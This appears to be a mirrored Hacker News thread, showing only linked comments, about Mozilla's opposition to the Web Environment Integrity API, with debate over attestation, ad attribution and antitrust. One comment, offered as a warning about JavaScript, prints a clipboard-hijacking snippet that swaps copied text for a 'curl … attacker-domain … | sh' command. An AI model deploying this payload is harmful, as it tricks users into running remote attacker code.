zlacker

Mozilla Standards Positions Opposes Web Integrity API

submitted by danShu+(OP) on 2023-07-25 02:14:27 | 885 points 317 comments
[view article] [source] [go to bottom]

NOTE: showing posts with links only show all posts
18. freedi+ne[view] [source] 2023-07-25 04:32:25
>>danShu+(OP)
Worth also noting is WebKit's standards positions at

https://webkit.org/standards-positions/

(this one has not landed yet, likely to be opposed as well)

◧◩
20. jer0me+6f[view] [source] [discussion] 2023-07-25 04:41:01
>>freedi+ne
https://github.com/WebKit/standards-positions/issues/234
◧◩◪◨
24. MzHN+tg[view] [source] [discussion] 2023-07-25 04:55:26
>>antod+5c
Since this is currently being built on Play Integrity API, and banking _apps_ are some of the most prominent users of it, I'm sure banking sites will follow if possible.

For example it is currently the reality in EU, that in order to use any of the native banking apps, a user has no choice but to expose themselves to privacy violations by either Google or Apple, i.e. US companies.

While at least one alternative exists, https://grapheneos.org/articles/attestation-compatibility-gu..., these alternatives are not being used in practice.

I see no way of preventing this happening on the web as well, if the Web Environment Integrity API ships.

◧◩
30. userbi+ei[view] [source] [discussion] 2023-07-25 05:08:15
>>1vuio0+8d
This might be inspirational: >>25240299
31. dhx+oi[view] [source] 2023-07-25 05:09:58
>>danShu+(OP)
Can Mozilla also respond with their position on their own IPA proposal[1] for tracking users across the Internet?

If you are shown a product ad whilst browsing searchengine.example and then later look up the product at reviews.example, then end up making a purchase at shop.example, your Mozilla browser will send all of these events to one or more aggregation services that allows shop.example to understand (at least in aggregate, assuming you trust the cartels running the aggregation services) that you were exposed to their product at searchengine.example and further exposed to their product at reviews.example.

Where previously an ad tech company was ultimately able to track users based on source IP address (even if cookies had been disabled by a user), IPA now allows these companies to track users across multiple IP addresses, and regardless of the user's cookie settings, via a unique tracking identifier. It is also proposed that the operating system provides the unique tracking identifier which can then be used by all applications or browsers on a device, allowing different devices behind a single IP address to be distinguished.

[1] https://github.com/patcg-individual-drafts/ipa/

◧◩
32. Califo+Gi[view] [source] [discussion] 2023-07-25 05:12:40
>>dhx+oi
Given TFA, it looks like you can ask Mozilla for a position by opening a GitHub issue at https://github.com/mozilla/standards-positions
◧◩◪
36. dhx+yj[view] [source] [discussion] 2023-07-25 05:20:01
>>Califo+Gi
A position request was raised in February for both Mozilla[1] and WebKit[2] and neither have been responded to.

[1] https://github.com/mozilla/standards-positions/issues/753

[2] https://github.com/WebKit/standards-positions/issues/142

◧◩
41. kmeist+Nl[view] [source] [discussion] 2023-07-25 05:38:50
>>charci+zf
>There would not be a single attestor who you would have to prove your trustworthiness to.

Either this protocol is useless for its intended purpose, or banks will only accept a small handful of attestors that promise not to sign for environments where the owner has control. Being able to create a new attestor means nothing because attestation is not valuable without pre-established trust.

The fraud prevention use case requires that the browser matches what Google or Mozilla shipped, not what I choose to actually run. From 10,000 feet in the sky, there's zero difference between, say, someone who installed modified software on their phone to protect their privacy and someone who was tricked into installing malware[0]. Banks don't care about your freedom, they care about making your fraud someone else's fault.

Some of the use cases explicitly call for locking the owner out of their device too. Anticheat in games is treated as at least beneficial to honest users, but it can still be user hostile[1]. Click fraud detection shouldn't even be something that a USER agent cares about - and it's not like Google cares about that anyway[2].

Practically speaking the only Linux distros that will get an attestor that anyone will actually care about will be Chrome OS and Play-certified Android. At best, Google agrees to attest for Chrome and Firefox on non-Chrome-OS Linux and it winds up being like EME did. At worst everyone has to buy a Windows license just to use most websites anymore.

>Assistive technologies will still work as the browsers implement platform's assistive APIs.

At least until someone says "we need to keep content from being data mined for AI training[3]" and AI scrapers find out how to automate those APIs. The underlying power dynamic of attestation means that websites can just demand attestors ban screen readers, in the same way that ebook DRM already does.

[0] Casual reminder that Louis Rossman was harassed by the GrapheneOS developer for agreeing with someone that the developer asserted had harassed them. He uninstalled GrapheneOS specifically to avoid being pwned by its developer.

[1] Let me remind you of the insane cat-and-mouse game where cheaters went into the kernel, so now anticheat is in the kernel, and now cheaters find vulns in the anticheat to hide their cheats in, which now malware can use as well.

[2] https://www.theregister.com/2023/06/29/google_trueview_skept...

[3] Reddit

◧◩
43. kmeist+Cm[view] [source] [discussion] 2023-07-25 05:46:42
>>dhx+oi
Attribution is necessary for advertising to work at all. If you don't have attribution that is independent of the ad platform you bought ads from, then the ad platform will defraud you[0]. This is separate from ad tracking where you build up interest profiles on users, or ad remarketing where sites can buy ads from people who have visited them in the past[1].

Most of these private attribution systems are specifically designed so that the people running the ad can count how many people clicked their ads, but not who clicked them or what other things they did. Safari had a proposal in which you could only have a certain number of campaigns running per domain, so you couldn't set up a separate """campaign""" for each user and fingerprint them all at once. I don't know how the Mozilla proposal differs.

Whether or not user-agents should care about this sort of thing is an orthogonal question.

[0] https://www.theregister.com/2023/06/29/google_trueview_skept...

[1] Remarketing in particular is responsible for the "feeling of being seen" from modern ads where you search for one thing and get 10,000 ads for the thing for the next week

◧◩
57. yoavm+Ju[view] [source] [discussion] 2023-07-25 07:04:37
>>rvz+l9
Google doesn't pay Mozilla's bills as a donation, they pay for traffic because they make money from it. Why does this make Mozilla powerless? Was Google successful, for example, in making Firefox not support all the things is does that allow for better Ads blocking?

https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-b...

◧◩
64. person+2y[view] [source] [discussion] 2023-07-25 07:32:33
>>thunde+fh
It is. See: - https://webkit.org/ - https://github.com/WebKit/WebKit

Also see: https://en.wikipedia.org/wiki/WebKit#Origins

◧◩◪
78. dhx+oG[view] [source] [discussion] 2023-07-25 08:47:13
>>little+6u
It's not whataboutism because Mozilla's response to the WEI, IPA and other PATCG[1] and AntiFraudCG[2] proposals are closely intertwined and all reduce the control users have over their browser, their computers and their Internet experience to the benefit of a cartel of technology companies who receive a significant revenue stream from advertising and gatekeeping online commerce. How can Mozilla be committed to "Our mission is to ensure the Internet is a global public resource, open and accessible to all."[3] and at the same time be participating in PATCG and AntiFraudCG proposals that have opposing objectives? Is there even one serious consideration given in any PATCG or AntiFraudCG proposal for impacts to accessibility, interoperability, openness of the Internet (including to new market entrants wanting to implement a new phone, computer, browser, advertising business, etc)?

Additionally, AntiFraudCG proposals such as WEI focus on benefits they provide to PATCG proposals. For example, a Googler with historical interest in minimising inflated view counts on YouTube[4] (a benefit to YouTube's advertisers) wrote earlier this year a proposal to AntiFraudCG including:

"By transmitting signals of legitimacy from the device’s platform, such as if the device is emulated or rooted, publishers and their technology partners could use this information in part to determine if traffic is invalid. They could then choose appropriate actions like flagging advertising actions as suspicious"[5]

[1] https://github.com/patcg

[2] https://github.com/antifraudcg

[3] https://www.mozilla.org/en-US/mission/

[4] https://security.googleblog.com/2014/02/keeping-youtube-view...

[5] https://github.com/antifraudcg/proposals/issues/8

113. egbert+ZT[view] [source] 2023-07-25 10:54:59
>>danShu+(OP)
Number one reason why I do not turn JavaScript on, and I will definitely block WebInegrityAPI indefinitely.

Basic malware JavaScript snippet:

    <script>
    document.getElementById('copy').addEventListener('copy', function(e) {
        e.clipboardData.setData('text/plain', 
        'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault();
     });
     </script>
◧◩◪◨
134. benter+Q41[view] [source] [discussion] 2023-07-25 12:18:35
>>kijin+j21
In theory - yes, but in practice TikTok gets a lot of bashing while its American equivalents manage to get away with basically the same behavior. Meta and Google aside, Uber created Greyball to avoid regulations, they even had (still have?) a special "Ripley" button to use when facing audit, so how can we expect a foreign regime to abide by our laws if we give our own companies a free pass? And when local governments try to limit Uber's unlawful[0] actions, we threaten them with freezing our investments in other sectors? [1]

[0] https://us.boell.org/en/2019/10/17/web-partner-companies-kee...

[1] https://tvpworld.com/40781592/another-letter-from-us-ambassa...

◧◩◪◨
148. yoavm+fb1[view] [source] [discussion] 2023-07-25 13:02:14
>>Ygg2+aZ
You mean this?

https://www.theverge.com/2023/1/17/23559234/firefox-manifest... https://adguard.com/en/blog/firefox-manifestv3-chrome-adbloc... https://www.ghacks.net/2022/09/24/mozilla-reaffirms-that-fir...

◧◩◪◨⬒⬓⬔
160. cabote+pe1[view] [source] [discussion] 2023-07-25 13:19:12
>>BiteCo+WY
So-called "Mother Theresa" should not be used as an example of extreme good. She's more accurately described as an example of extremely good PR.

https://en.wikipedia.org/wiki/Criticism_of_Mother_Teresa

◧◩◪◨⬒⬓⬔
165. cxr+Xg1[view] [source] [discussion] 2023-07-25 13:30:12
>>maigre+ae1
Please don't change the subject like this. It's annoying.

<>>23117242 >

There's no reason your question couldn't have been posted in a relevant (sub)thread, instead of here, where it's (i) not on topic for the current subject, but (ii) looks like it could be, and therefore (iii) has the same effect as moving the goalposts.

◧◩
243. toast0+wi2[view] [source] [discussion] 2023-07-25 17:21:33
>>thunde+fh
Apple released Safari for Windows, and nobody used it, because it was awful[1]. So they stopped worrying about cross-platform.

[1] https://appleinsider.com/articles/12/07/25/apple_kills_windo...

◧◩◪◨⬒⬓⬔⧯▣▦
264. Vancou+4H2[view] [source] [discussion] 2023-07-25 18:45:50
>>skeake+Jo2
Unfortunately, it doesn't seem to work that way in this case. For example, there was an incident just a couple of months ago that was discussed here:

"Firefox displayed a pop-up ad for Mozilla VPN over an unrelated page" (>>36077360 )

"Mozilla stops Firefox fullscreen VPN ads after user outrage" (>>36085642 )

That's another incident that just shouldn't have ever happened to begin with, in my opinion.

◧◩◪
272. michae+LU2[view] [source] [discussion] 2023-07-25 19:42:35
>>jeroen+8h1
This is fundamentally different on multiple fronts. Insofar as security if the host is compromised the VM has none because of the hosts control over the VM's environment. For the same reason anything that requires you to be in an authenticated environment is probably not going to accept an authenticated environment that is itself hosted in one that is not. The browser/system would assert that it isn't in the Matrix by testing naively by looking for the presence of VM specific information or devices and more securely by performing operations which must work differently in a vm see this post

https://stackoverflow.com/questions/39533/how-to-identify-th...

◧◩◪◨⬒⬓
275. howint+eZ2[view] [source] [discussion] 2023-07-25 20:04:10
>>charci+dh2
Be honest, what you really want is for the web to orient itself in a direction where users get to make fewer "illegal" copies of content produced by corporations. Never mind the fact that their computers might not support, even in theory, the level of DRM the corporations want.

>>36866372

◧◩◪◨⬒
297. dhx+le4[view] [source] [discussion] 2023-07-26 05:00:36
>>little+eQ
I think you're attempting to frame the discussion in a very narrow way that is inconsistent with the public backlash. Public backlash is largely due to browser vendors demonstrating a very strong motivation to prioritise the needs of advertisers over users through their contributions to WEI and similar W3C proposals.

Were you expecting only responses of praise for Mozilla, that users have been heard on WEI and therefore everyone can move on? Mozilla has invested resources together with Meta into developing the IPA proposal that also prioritises the needs of advertisers over users. The problem that IPA seeks to solve is:

  "Advertisers need accurate reporting about how their ad campaigns are performing. Currently, businesses use data about the people who viewed their ads and bought their products to determine ‘return on ad spend’. But the ecosystem is moving towards more privacy and less personal data sharing."[1]
In Mozilla's response on WEI they've reiterated a commitment to working on solutions to the "invalid traffic" (e.g. ad click fraud) problem, a commitment which necessarily requires user needs to be suppressed.

  "Detecting fraud and invalid traffic is a challenging problem that we're interested in helping address."
Mozilla's response on IPA is therefore directly relevant to the discussion of public backlash for advertiser needs being prioritised over user needs. Mozilla is demonstrating inconsistency with RFC8890[2] and the priority of constituencies from the W3C Web Platform Design Principles[3] and numerous Ethical Web Principles[4]. Whilst these aren't adopted standards, they are a reflection of values of contributors to these standards organisations.

A further error of your framing is assuming WEI and IPA proposals can be meaningfully discussed in isolation of each other. With such framing, there is an avoidance of discussion of the combined impact of proposals if they were implemented together, or whether proposals such as IPA still make sense to pursue without WEI (or future equivalent proposal).

[1] https://docs.google.com/presentation/d/1NpQz0Wm73eEKw24V7B0y...

[2] https://www.rfc-editor.org/rfc/rfc8890.html

[3] https://www.w3.org/TR/design-principles/#priority-of-constit...

[4] https://www.w3.org/TR/ethical-web-principles/#control, https://www.w3.org/TR/ethical-web-principles/#multi, https://www.w3.org/TR/ethical-web-principles/#render

[5] https://en.wikipedia.org/wiki/Whataboutism#Defense

◧◩◪◨⬒⬓
303. jeroen+VV4[view] [source] [discussion] 2023-07-26 11:36:29
>>michae+3Z3
Virtual Windows machines with thin clients are used all over the world. Microsoft is even trying to make Window 11 an online-first platform according to news like https://www.theverge.com/2023/6/27/23775117/microsoft-window.... Some of these companies may run Windows on bare metal, but I doubt the majority of them doesn't do at least some server/workspace separation through VMs.

I know people want convenience. Anyone interested in convenience will just use Windows or macOS. They won't need to mess with VMs. This whole problem is only an issue for the small percentage of the population that wants to use their own weird operating systems, browsers, or addons.

If the need arises, someone will make a user friendly tool to do all this. Cassowary can do it today after following a step by step guide, they can also add their Web Integrity patches to those steps if they need to.

If you, as a user, want to have a special button that makes banking work without needing to know how or why, stick with proprietary operating systems. Linux isn't user friendly enough to accomplish this and it probably won't be for a while. The same is true if you want to watch your HD/4K streaming content without a huge struggle.

308. 4oo4+a66[view] [source] 2023-07-26 16:33:01
>>danShu+(OP)
Friendly reminder to don't just comment and complain to Google, contact your antitrust authority today:

US:

- https://www.ftc.gov/enforcement/report-antitrust-violation

- antitrust@ftc.gov

EU:

- https://competition-policy.ec.europa.eu/antitrust/contact_en

- comp-greffe-antitrust@ec.europa.eu

UK:

- https://www.gov.uk/guidance/tell-the-cma-about-a-competition...

- general.enquiries@cma.gov.uk

India:

- https://www.cci.gov.in/antitrust/

- https://www.cci.gov.in/filing/atd

Canada:

- https://www.competitionbureau.gc.ca/eic/site/cb-bc.nsf/frm-e...

[go to top]